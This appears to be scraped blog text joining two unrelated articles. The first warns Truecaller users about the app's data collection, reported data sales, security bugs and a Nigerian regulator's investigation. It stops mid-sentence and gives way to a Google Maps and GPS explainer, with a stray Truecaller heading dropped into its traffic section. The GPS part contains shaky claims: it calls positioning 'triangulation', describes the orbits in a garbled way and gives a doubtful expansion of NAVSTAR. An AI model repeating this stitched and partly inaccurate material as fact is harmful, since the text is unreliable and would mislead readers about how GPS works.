Why You Should Consider Uninstalling Your Truecaller App

Without a doubt, the Truecaller app has been very useful to smartphone users since it was introduced in 2009. It is a multipurpose call management app (available on Android & IOS) that helps you identify unknown callers.

In Nigeria, for example, this app has been really helpful in thwarting fraudsters, spam calls, and unsolicited calls from telecom service providers. Asides that, you get other great features; it lets you record calls manually and automatically, and helps you backup your contacts and call list.

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How Does Truecaller work?

When you sign up on Truecaller, all your information (Name, phone book contacts, Operating system, device ID, etc), as stated in the privacy policy on its website are immediately uploaded to the Truecaller server.

Everyone who installs the app surrenders all the contacts in their phone book, and all these contacts are uploaded to Truecaller’s server. These contacts then go through data matching, and each number is assigned a Truecaller ID.

So, when someone searches for the number using the Truecaller search or receives a call from a new number on Truecaller’s database, the caller ID associated with the number will be displayed. 

Why You Should Consider Ditching the App?

Truecaller collects more than just name and phone numbers

Firstly, you should know that Truecaller collects more than just your phone number and name.

According to information we got on the website, it collects other information including; geo-location, IP address, device ID or unique identifier, device manufacturer and type, device and hardware settings, SIM card usage, applications installed on your device, ID for advertising, web browser, keywords and metadata of incoming and outgoing calls and messages, Google ID’s and email addresses will be collected and used from your address book.

Truecaller also stated that it may collect some of this information automatically through the use of cookies.

Continuous Security Issues

Secondly, for an application that collects so much delicate information from individuals, the least we can expect is top-notch security of these data. But that is not the case. We continuously hear of security breaches, data leaks, etc.

The Exposure And Sale of Customer Data

In May 2019, Economic Times India reported that data of over 300million Truecaller users in India (which makes up at least 60% of the Truecaller’s total customer base globally) were being sold.

Truecaller, however, came out to say that there was no security breach of its system and there was no leak of financial or payment information of users. They also claimed that the ‘majority’ of data shown to them did not match what they have on their systems.

Another issue came up in August when Truecaller issued an apology and took immediate took steps to fix a bug it claimed only triggered a registration SMS. This bug affected around 0.12 % of total monthly Truecaller users in India.

Less than two months ago, Forbes reported that Truecaller had just fixed a bug that affected the app for Android and IOS. This bug was identified by an independent researcher based in India; he said the bug exposed user data as well as system and location information. However, users were asked to update their apps to the latest version just to be certain that their apps were fixed

The Investigation in Nigeria

Just recently In Nigeria, the National Information Technology Development Agency (NITDA) grew increasingly concerned about possible privacy issues and decided to open an investigation into the caller ID app. Over 7million Nigerians use the app, and NITDA suggests in a statement that Truecaller might be infringing on the privacy rights of these users.

Article 1.2 of Truecaller’s privacy policy say; Treucaller will have access to; geo-location, IP address, device ID or unique identifier, device manufacturer and type, device and hardware settings, SIM card usage, applications installed on your device, ID for advertising, web browser and a lot of other information. This, NITDA believes, is too much data, and it exceeds what is necessary for Truecaller to perform its basic function. 

Conclusion

Truecaller is a useful app, no doubt. We are aware of its immense benefits. So, the decision to uninstall or delete Truecaller lies totally in your hands.

However, given the numerous privacy and security issues the app has faced in recent times (as we listed in the article), you should consider

How does Google Maps work? GPS working explained

You might have wondered how exactly Google Maps work? There was a time when we had Atlas, Globes, or paper maps for studying the maps of a particular area. If we had to travel somewhere, we used to rely on the local people who would help you navigate to the location.
But not anymore. For travelers, Google Maps is a blessing in today’s world. Each and every person with an active Internet and a decent device can easily find out the locations accurately.
So, the question is, how Google maps exactly works? How does it indicate the exact pinpoint location of a particular place? Also, how did it come into usage?

Why Google Maps was made?

Google Maps is just a service based on the Global Positioning System (GPS). History comes about GPS. GPS was first made by the USA in 1973 for navigation and tracking of its military services. However, it was not very accurate at that time.
Earlier it was called NAVSTAR (Navigation System with Time And Ranging Global Positioning System). It merely used to track ships, aircraft, missiles, and other military-based services of the USA.
Finally, in 1995, GPS became available for common citizens of the USA after making the necessary changes. Now, GPS got much secure and accurate with positioning.
Many applications turned up that worked on GPS. In fact, many similar services came into existence like GPS (United States), GLONASS (Russian Federation), Galileo (European Union), Compass (China), NAVIC (India), and QZSS (Japan). Based on that, Google Maps was born in 2005.

How GPS works?

For working accurately in harmony, GPS uses a constellation of 24 satellites that keep on revolving around the Earth.
The placement is in such a way that 6 orbits of period equal to 12 hours. Moreover, the spacing is at 60° apart from each other.
To determine a particular location, GPS uses the triangulation method. This means that 3 satellites will work together to determine the exact location of an object. Even if one of the satellites in the existing trio fails to fetch the location, the other satellite takes up the place.

After compiling the data of 3 satellites, we get the exact location. One more satellite is used which is required for removing the error as well as determining the height of the object.

This is how GPS points out your exact location.

How Google Maps work and how it finds out the information about objects?

After a considerable amount of images from satellite, Google had a challenge of labeling the buildings, roads, monuments, spots, etc. So, how would Google label those blank map images obtained from satellites?
Several Governments and countries came together for this revolution. Google asked for permission to get the local data. After all, who would better provide the local data other than the local Governments?
Google gathered all the massive amounts of data and used all of it to create Google Maps. This is how the company got all the names of roads, important buildings, etc.
Some countries don’t get to use Google Maps because they denied providing the data.

Google Street View

Satellite images are fine but Google wanted even more precise details of every street and corner.
Now, Google started using Google cars for clicking the 360°

Image: Limely

These cars started roaming in the streets of a country to click all the images and stitch them together forming immensely detailed images of streets. Artificial intelligence particularly focused on the signboards and important hoardings in the cities. In this way, users got even more detailed experience of Google Maps seamlessly.

Unfortunately, the Indian Government did not allow Google Street View because of privacy reasons.

Google Local Guides

Not only the Government, Google Local Guides is a strong program where users contribute pictures, locations, and various details to Google.
Furthermore, Google Local Guides get various perks from Google for their contribution. This is how Google keeps gets updated data.
Well, I am soon turning out to be a Level 8 Local Guide. Wink Wink 🙂

How does Google know about live traffic on roads?

Now your next question might be that if important locations are provided by Governments and other details are provided by users then how does it know about the traffic updates?

How Truecaller Works? How can it find out the names of unknown numbers?

Google Maps works the same way. People themselves provide the data on traffic. Even you are one of the contributors. Surprised?
Whenever a large number of people are moving in a car and they all are using Google Maps, their GPS (location) is turned on. You don’t even need to use Google maps. If your location is enabled, your complete data is reaching to Google.
Now Google is smart enough. If so many people are going at the same speed, the road must be responsible for it. If all vehicles are moving slowly, there are chances of high traffic. Likewise, if the vehicles are moving with good speed, the road is absolutely clear.
As a result, Google Maps knows everything regarding live traffic updates. Now a new option of reporting an accident or obstacles have been added. Again, more data for Google.
Overall, you get the facility of Google Maps because of those satellites revolving you, then the Google company, and of course, people like you and me.
So, I hope now you know how Google Maps work.